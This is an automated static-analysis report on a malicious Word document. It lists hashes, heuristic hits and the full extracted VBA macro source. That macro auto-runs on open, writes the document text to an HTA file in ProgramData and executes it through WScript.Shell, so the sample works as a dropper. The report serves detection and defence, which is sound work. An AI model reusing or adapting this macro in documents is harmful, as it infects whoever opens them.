Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 09375fb1a865d635…

MALICIOUS

Office (OOXML)

45.9 KB Created: 2021-06-10 09:59:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: 9e3f4bc91bffcfa25c3107ebc1770f29 SHA-1: a4ba3db1bc8a169ce929471802f35ea3efad9069 SHA-256: 09375fb1a865d635b0c19e60ee4b3c4a573ffb39aa09fd8f2738f15744c23cf4
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The 'autoopen' macro triggers the execution of 'exceptionProcedureRepo', which writes to a file named 'repoLnk.hta' in the 'c:\programdata\' directory. The 'lengthSinLength' function utilizes 'Wscript.Shell' to run 'c:\windows\explorer ' with the constructed path, indicating an attempt to execute the dropped HTA file. This suggests the document is a downloader for a second-stage payload.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function lengthSinLength()
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run bytesIndex("c:\\windows\\explorer "), , True
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function lengthSinLength()
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run bytesIndex("c:\\windows\\explorer "), , True
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "sinPtrOption"
Sub autoopen()
exceptionProcedureRepo
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 939 bytes
SHA-256: c24ba17a2885b60c68a44e46ea761658e27f368d4998a2966d35ca907b8725b0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "sinPtrOption"
Sub autoopen()
exceptionProcedureRepo
bTextbox = lengthSinLength
End Sub
Function bytesIndex(longRight, Optional winI = "c:\program", Optional localCntW = "a")
bytesIndex = longRight & winI & "data\repoLnk.ht" & localCntW
End Function

Attribute VB_Name = "objectCtrl"
Sub exceptionProcedureRepo()
Open bytesIndex("") For Output As #1
Print #1, captViewFunc
Close #1
End Sub
Function captViewFunc()
captViewFunc = ActiveDocument.Range.Text
End Function
Function lengthSinLength()
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run bytesIndex("c:\\windows\\explorer "), , True
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: 8659bfa7f498af463c0a4918336c83a14f3855001fdef794d7d96ad09b4942d9

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